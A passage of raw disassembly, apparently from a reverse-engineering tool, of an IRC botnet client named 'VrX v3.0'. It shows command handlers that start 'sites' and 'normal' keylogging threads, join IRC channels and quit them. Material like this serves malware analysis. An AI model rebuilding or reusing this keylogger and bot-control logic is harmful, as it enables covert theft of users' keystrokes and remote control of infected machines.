104h nop call near ptr 26B0000h push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BD70 lea eax, [ebp+var_17D4] push eax call sub_40AB6A push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C006 mov eax, [ebp+esi+var_84] add esp, 20h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_408439 push 10h push ebx push eax call sub_41C52E add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_40843F ; --------------------------------------------------------------------------- loc_408439: ; CODE XREF: sub_401AC7+695Cj mov [ebp+var_23C4], ebx loc_40843F: ; CODE XREF: sub_401AC7+6970j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408456 push esi call sub_41BEF9 pop ecx mov [ebp+var_23C8], eax jmp short loc_40845C ; --------------------------------------------------------------------------- loc_408456: ; CODE XREF: sub_401AC7+697Ej mov [ebp+var_23C8], ebx loc_40845C: ; CODE XREF: sub_401AC7+698Dj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BD70 mov eax, [ebp+var_4] push edi mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax lea eax, [ebp+var_2C4] push offset dword_42A4C8 push eax call sub_41C006 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3AD add esp, 24h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset loc_416754 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408507 loc_4084F1: ; CODE XREF: sub_401AC7+6A3Ej cmp [ebp+var_23B4], ebx jnz loc_406C42 push 32h nop call near ptr 2690000h jmp short loc_4084F1 ; --------------------------------------------------------------------------- loc_408507: ; CODE XREF: sub_401AC7+6A28j nop call near ptr 26908A7h push eax push offset dword_42A48C jmp loc_406C33 ; --------------------------------------------------------------------------- loc_408518: ; CODE XREF: sub_401AC7+68F1j push offset dword_42A444 loc_40851D: ; CODE XREF: sub_401AC7+2E40j ; sub_401AC7+447Bj ... lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx jmp loc_406C42 ; --------------------------------------------------------------------------- loc_408530: ; CODE XREF: sub_401AC7+49C0j ; sub_401AC7+49D7j push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_401F6C cmp [ebp+var_C], ebx jz loc_401F6C push [ebp+arg_18] push [ebp+var_C] call sub_41C080 push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C006 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BD70 push edi call sub_41BEF9 add esp, 30h test eax, eax jle short loc_4085B7 push edi call sub_41BEF9 imul eax, 3E8h pop ecx push eax nop call near ptr 2690000h loc_4085B7: ; CODE XREF: sub_401AC7+6ADAj push offset dword_42A420 call sub_415CEE mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F6F ; --------------------------------------------------------------------------- loc_4085CB: ; CODE XREF: sub_401AC7+4992j ; sub_401AC7+49A9j push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_401F6C cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41C7E0 add esp, 10h test eax, eax push esi jz short loc_408687 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C006 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BD70 push esi lea eax, [ebp+var_2C4] push offset unk_42A408 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push edi call sub_41BEF9 add esp, 38h test eax, eax jle loc_409643 push edi call sub_41BEF9 add eax, [ebp+arg_24] pop ecx jmp loc_401F6F ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401AC7+6B49j lea eax, [ebp+var_2C4] push offset unk_42A3D4 push eax call sub_41C006 add esp, 0Ch jmp loc_408FA0 ; --------------------------------------------------------------------------- loc_4086A0: ; CODE XREF: sub_401AC7+4964j ; sub_401AC7+497Bj push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_2094], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push offset unk_42A3A0 push eax mov [ebp+var_221C], esi call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3AD add esp, 40h mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset word_414F0A push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408761 loc_40874B: ; CODE XREF: sub_401AC7+6C98j cmp [ebp+var_208C], ebx jnz loc_40884A push 32h call near ptr 2690000h nop jmp short loc_40874B ; --------------------------------------------------------------------------- loc_408761: ; CODE XREF: sub_401AC7+6C82j nop call near ptr 26908A7h push eax push offset unk_42A364 jmp loc_40883B ; --------------------------------------------------------------------------- loc_408772: ; CODE XREF: sub_401AC7+4936j ; sub_401AC7+494Dj push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_2228], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push offset dword_42A338 push eax mov [ebp+var_23B0], esi call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3AD add esp, 40h mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset dword_4146B8 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40882F loc_40881D: ; CODE XREF: sub_401AC7+6D66j cmp [ebp+var_2220], ebx jnz short loc_40884A push 32h nop call near ptr 2690000h jmp short loc_40881D ; --------------------------------------------------------------------------- loc_40882F: ; CODE XREF: sub_401AC7+6D54j call near ptr 26908A7h nop push eax push offset dword_42A2FC loc_40883B: ; CODE XREF: sub_401AC7+6CA6j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_40884A: ; CODE XREF: sub_401AC7+6C8Aj ; sub_401AC7+6D5Cj cmp [ebp+var_8], ebx jnz loc_403FA2 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403F9A ; --------------------------------------------------------------------------- loc_40886A: ; CODE XREF: sub_401AC7+4908j ; sub_401AC7+491Fj push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F4 push eax call sub_41C006 push edi call sub_41BEF9 add esp, 10h loc_408887: ; CODE XREF: sub_401AC7+6E27j test eax, eax jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 loc_4088A1: ; CODE XREF: sub_401AC7+78B5j lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C jmp loc_4048FA ; --------------------------------------------------------------------------- loc_4088CA: ; CODE XREF: sub_401AC7+48DAj ; sub_401AC7+48F1j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2E0 push eax call sub_41C006 push edi call sub_41BEF9 add esp, 14h jmp short loc_408887 ; --------------------------------------------------------------------------- loc_4088F0: ; CODE XREF: sub_401AC7+48ACj ; sub_401AC7+48C3j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 push edi call sub_41BEF9 add esp, 10h test eax, eax jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C push [ebp+arg_18] push edi push offset dword_42A2C4 loc_408954: ; CODE XREF: sub_401AC7+6F14j ; sub_401AC7+6F7Fj ... call sub_415D62 jmp loc_404227 ; --------------------------------------------------------------------------- loc_40895E: ; CODE XREF: sub_401AC7+487Ej ; sub_401AC7+4895j cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40898F push esi lea eax, [ebp+var_2C4] push offset dword_42A2BC push eax call sub_41C006 add esp, 0Ch loc_40898F: ; CODE XREF: sub_401AC7+6EB1j push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C push esi push edi push offset dword_42A2A0 jmp loc_408954 ; --------------------------------------------------------------------------- loc_4089E0: ; CODE XREF: sub_401AC7+4850j ; sub_401AC7+4867j cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push esi push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C push esi push edi push offset dword_42A284 jmp loc_408954 ; --------------------------------------------------------------------------- loc_408A4B: ; CODE XREF: sub_401AC7+4822j ; sub_401AC7+4839j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40981C push esi push offset unk_42A25C loc_408A7D: ; CODE XREF: sub_401AC7+7A5Aj ; sub_401AC7+7A73j ... call sub_415D62 jmp loc_4034AC ; --------------------------------------------------------------------------- loc_408A87: ; CODE XREF: sub_401AC7+47F4j ; sub_401AC7+480Bj push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_401F6C push [ebp+arg_18] push offset dword_42A250 push [ebp+arg_4] call sub_40981C push edi call sub_41BEF9 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2690000h push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C push offset dword_42A23C call sub_415CEE jmp loc_4034AC ; --------------------------------------------------------------------------- loc_408AED: ; CODE XREF: sub_401AC7+47C6j ; sub_401AC7+47DDj cmp [ebp+var_C], ebx jz loc_409643 push edi call sub_41B960 push [ebp+arg_8] mov esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409643 push esi lea eax, [ebp+var_2C4] push offset dword_42A96C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409862 push esi push edi push offset unk_42A220 call sub_415D62 add esp, 2Ch jmp loc_409643 ; --------------------------------------------------------------------------- loc_408B5B: ; CODE XREF: sub_401AC7+4798j ; sub_401AC7+47AFj cmp [ebp+var_C], ebx jz loc_409643 push edi call sub_41B960 push [ebp+arg_8] mov esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409643 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409862 push esi push edi push offset unk_42A204 call sub_415D62 add esp, 20h jmp loc_409643 ; --------------------------------------------------------------------------- loc_408BB1: ; CODE XREF: sub_401AC7+476Aj ; sub_401AC7+4781j cmp [ebp+var_C], ebx jz loc_401F6C push [ebp+arg_18] push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz loc_401F6C push eax push edi call sub_415BF6 push edi lea eax, [ebp+var_2C4] push offset unk_42A1E8 push eax call sub_41C006 add esp, 14h jmp loc_403F81 ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401AC7+473Cj ; sub_401AC7+4753j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4189DF loc_408C05: ; CODE XREF: sub_401AC7+25D5j add esp, 14h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401AC7+46FCj ; sub_401AC7+4713j push edi push [ebp+arg_1C] call sub_41C080 pop ecx test eax, eax pop ecx jz loc_409643 mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_408CAA push esi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C92 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C006 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BD70 push esi push edi lea eax, [ebp+var_2C4] push offset unk_42A1C4 push eax call sub_41C006 add esp, 34h inc [ebp+arg_24] jmp loc_408FC1 ; --------------------------------------------------------------------------- loc_408C92: ; CODE XREF: sub_401AC7+7173j lea eax, [ebp+var_2C4] push offset unk_42A194 push eax call sub_41C006 pop ecx pop ecx jmp loc_408FC1 ; --------------------------------------------------------------------------- loc_408CAA: ; CODE XREF: sub_401AC7+7162j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B1DF add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push edi push offset unk_42A17C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 add esp, 24h jmp loc_408FC1 ; --------------------------------------------------------------------------- loc_408CF1: ; CODE XREF: sub_401AC7+4432j ; sub_401AC7+4449j push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408CFE: ; CODE XREF: sub_401AC7+102Fj ; sub_401AC7+1082j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B63B add esp, 20h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_408D1A: ; CODE XREF: sub_401AC7+4404j ; sub_401AC7+441Bj push 23h call sub_40B5F5 test eax, eax pop ecx jle short loc_408D30 push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E6F ; --------------------------------------------------------------------------- loc_408D30: ; CODE XREF: sub_401AC7+725Dj mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_408DAC mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D93 mov esi, offset aF_0 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_408D93 mov esi, [ebp+var_88] loc_408D93: ; CODE XREF: sub_401AC7+72AEj ; sub_401AC7+72C4j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C100 push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408DFF ; --------------------------------------------------------------------------- loc_408DAC: ; CODE XREF: sub_401AC7+7299j push edi push offset aNormal_0 ; "normal" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_408E7C mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DE8 mov esi, offset aF_0 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_408DE8 mov esi, [ebp+var_88] loc_408DE8: ; CODE XREF: sub_401AC7+7303j ; sub_401AC7+7319j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C100 push offset aNormalKeyLogge ; "Normal key logger active." loc_408DFF: ; CODE XREF: sub_401AC7+72E3j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 14h lea eax, [ebp+var_2C4] push ebx push 23h push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset byte_412665 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408E6B loc_408E55: ; CODE XREF: sub_401AC7+73A2j cmp [ebp+var_A04], ebx jnz loc_4081DE push 32h nop call near ptr 2690000h jmp short loc_408E55 ; --------------------------------------------------------------------------- loc_408E6B: ; CODE XREF: sub_401AC7+738Cj nop call near ptr 26908A7h push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... jmp loc_406E56 ; --------------------------------------------------------------------------- loc_408E7C: ; CODE XREF: sub_401AC7+72F4j push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E6F ; --------------------------------------------------------------------------- loc_408E86: ; CODE XREF: sub_401AC7+4069j ; sub_401AC7+4080j push offset aR ; "r" push edi call sub_41BC88 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F00 mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C2CF add esp, 0Ch loc_408EAF: ; CODE XREF: sub_401AC7+7417j test eax, eax jz short loc_408EE0 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C2CF add esp, 20h jmp short loc_408EAF ; --------------------------------------------------------------------------- loc_408EE0: ; CODE XREF: sub_401AC7+73EAj push esi call sub_41B9DB push edi lea eax, [ebp+var_2C4] push offset unk_42A0A8 push eax call sub_41C006 add esp, 10h jmp loc_406C63 ; --------------------------------------------------------------------------- loc_408F00: ; CODE XREF: sub_401AC7+73D0j push edi push offset unk_42A088 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_408F0B: ; CODE XREF: sub_401AC7+403Bj ; sub_401AC7+4052j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push offset asc_42A084 ; "\n" push esi call sub_41C630 push esi call sub_419F3E add esp, 0Ch test eax, eax jnz short loc_408F48 push offset unk_42A058 jmp short loc_408F92 ; --------------------------------------------------------------------------- loc_408F48: ; CODE XREF: sub_401AC7+7478j push esi lea eax, [ebp+var_2C4] push offset dword_42A040 push eax call sub_41C006 add esp, 0Ch jmp short loc_408FC1 ; --------------------------------------------------------------------------- loc_408F5F: ; CODE XREF: sub_401AC7+400Dj ; sub_401AC7+4024j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz loc_409643 push eax call sub_41870F test eax, eax pop ecx jnz short loc_408F8D push offset unk_42A020 jmp short loc_408F92 ; --------------------------------------------------------------------------- loc_408F8D: ; CODE XREF: sub_401AC7+74BDj push offset dword_42A004 loc_408F92: ; CODE XREF: sub_401AC7+747Fj ; sub_401AC7+74C4j lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx loc_408FA0: ; CODE XREF: sub_401AC7+6BD4j cmp [ebp+var_8], ebx jnz short loc_408FC1 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_408FC1: ; CODE XREF: sub_401AC7+71C6j ; sub_401AC7+71DEj ... lea eax, [ebp+var_2C4] push eax call sub_415CEE pop ecx jmp loc_409643 ; --------------------------------------------------------------------------- loc_408FD3: ; CODE XREF: sub_401AC7+3FDFj ; sub_401AC7+3FF6j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BD70 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409002 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BD70 add esp, 0Ch loc_409002: ; CODE XREF: sub_401AC7+7527j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+arg_4] push edi mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax lea eax, [ebp+var_2C4] push offset dword_429FEC push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3AD add esp, 24h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B2A5 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4090A0 loc_40908A: ; CODE XREF: sub_401AC7+75D7j cmp [ebp+var_1EF8], ebx jnz loc_406C63 push 32h nop call near ptr 2690000h jmp short loc_40908A ; --------------------------------------------------------------------------- loc_4090A0: ; CODE XREF: sub_401AC7+75C1j nop call near ptr 26908A7h push eax push offset unk_429FAC loc_4090AC: ; CODE XREF: sub_401AC7+2971j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch jmp loc_406C63 ; --------------------------------------------------------------------------- loc_4090C0: ; CODE XREF: sub_401AC7+3FB1j ; sub_401AC7+3FC8j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_410330 push edi push offset dword_429F94 jmp loc_408954 ; --------------------------------------------------------------------------- loc_4090DB: ; CODE XREF: sub_401AC7+3F83j ; sub_401AC7+3F9Aj push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BD10 push edi lea eax, [ebp+var_1D38] push offset aS_1 ; "%s" push eax call sub_41C006 mov eax, [ebp+arg_4] mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C100 mov eax, [ebp+var_4] mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F70 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3AD add esp, 40h mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset loc_416177 push ebx push ebx nop call near ptr 269009Ch mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz loc_4023BB loc_409199: ; CODE XREF: sub_401AC7+76E6j cmp [ebp+var_1BA4], ebx jnz loc_40830C push 32h nop call near ptr 2690000h jmp short loc_409199 ; --------------------------------------------------------------------------- loc_4091AF: ; CODE XREF: sub_401AC7+3F55j ; sub_401AC7+3F6Cj push edi nop call near ptr 269023Ch test eax, eax jz short loc_4091C2 push edi push offset dword_429F54 jmp short loc_4091CD ; --------------------------------------------------------------------------- loc_4091C2: ; CODE XREF: sub_401AC7+76F1j push offset dword_42A5AC call sub_41864A push eax loc_4091CD: ; CODE XREF: sub_401AC7+76F9j lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 jmp loc_4092A5 ; --------------------------------------------------------------------------- loc_4091E3: ; CODE XREF: sub_401AC7+3F27j ; sub_401AC7+3F3Ej push edi call sub_41BEF9 push eax call sub_419EB7 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_409200 push offset unk_429F30 jmp short loc_409205 ; --------------------------------------------------------------------------- loc_409200: ; CODE XREF: sub_401AC7+7730j push offset unk_429F00 loc_409205: ; CODE XREF: sub_401AC7+7737j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C66 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h jmp loc_406C66 ; --------------------------------------------------------------------------- loc_40923E: ; CODE XREF: sub_401AC7+3EF9j ; sub_401AC7+3F10j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419BAA add esp, 18h cmp eax, 1 push edi jnz short loc_409260 push offset unk_429EE0 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_409260: ; CODE XREF: sub_401AC7+778Dj push offset unk_429EB0 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_40926A: ; CODE XREF: sub_401AC7+3ECBj ; sub_401AC7+3EE2j push edi call dword_4C9344 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092AD push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4C92BC cmp eax, ebx jz short loc_4092C8 push dword ptr [eax] loc_409293: ; CODE XREF: sub_401AC7+77FFj push edi lea eax, [ebp+var_2C4] push offset unk_429E90 push eax call sub_41C006 loc_4092A5: ; CODE XREF: sub_401AC7+7717j add esp, 10h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_4092AD: ; CODE XREF: sub_401AC7+77B3j push edi call dword_4C9388 cmp eax, ebx jz short loc_4092C8 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4C9390 push eax jmp short loc_409293 ; --------------------------------------------------------------------------- loc_4092C8: ; CODE XREF: sub_401AC7+77C8j ; sub_401AC7+77EFj push offset unk_429E68 jmp loc_40851D ; --------------------------------------------------------------------------- loc_4092D2: ; CODE XREF: sub_401AC7+3E9Dj ; sub_401AC7+3EB4j push 7Fh push edi push [ebp+arg_14] call sub_41BD70 push edi lea eax, [ebp+var_2C4] push offset unk_429E44 push eax call sub_41C006 add esp, 18h jmp loc_4081DE ; --------------------------------------------------------------------------- loc_4092F7: ; CODE XREF: sub_401AC7+3E6Fj ; sub_401AC7+3E86j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4C9270 test eax, eax push edi jz short loc_409317 push offset unk_429E24 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_409317: ; CODE XREF: sub_401AC7+7844j push offset unk_429E00 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_409321: ; CODE XREF: sub_401AC7+3E41j ; sub_401AC7+3E58j mov al, [edi] mov byte_429090, al movsx eax, byte ptr [edi] push eax push offset unk_429DDC jmp loc_406E56 ; --------------------------------------------------------------------------- loc_409336: ; CODE XREF: sub_401AC7+3E13j ; sub_401AC7+3E2Aj push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE77 push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 add esp, 1Ch jmp loc_4088A1 ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_401AC7+3DE5j ; sub_401AC7+3DFCj push edi call sub_41BEF9 test eax, eax pop ecx jle loc_401F6C push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_401F6C push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C pop ecx pop ecx push 1F4h nop call near ptr 2690000h push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call dword_4C939C push [ebp+var_10] push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C254[eax] nop call near ptr 26A0783h push edi call sub_41BEF9 imul eax, 234h push edi mov dword_43C254[eax], ebx call sub_41BEF9 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43C040[eax], bl jmp loc_401F6C ; --------------------------------------------------------------------------- loc_40942C: ; CODE XREF: sub_401AC7+3DB7j ; sub_401AC7+3DCEj push edi push offset aAll ; "all" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40945B call sub_40B576 cmp eax, ebx jle short loc_409451 push eax push offset unk_429DB0 jmp loc_407286 ; --------------------------------------------------------------------------- loc_409451: ; CODE XREF: sub_401AC7+797Dj push offset unk_429D88 jmp loc_403F73 ; --------------------------------------------------------------------------- loc_40945B: ; CODE XREF: sub_401AC7+7974j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h loc_409467: ; DATA XREF: Themida_:00562C98o jnb loc_401F6C lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409477: ; CODE XREF: sub_401AC7+7A21j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F6C push esi call sub_41BEF9 push eax call sub_40B4E8 pop ecx pop ecx test eax, eax push esi jz short loc_40949E push offset unk_429D64 jmp 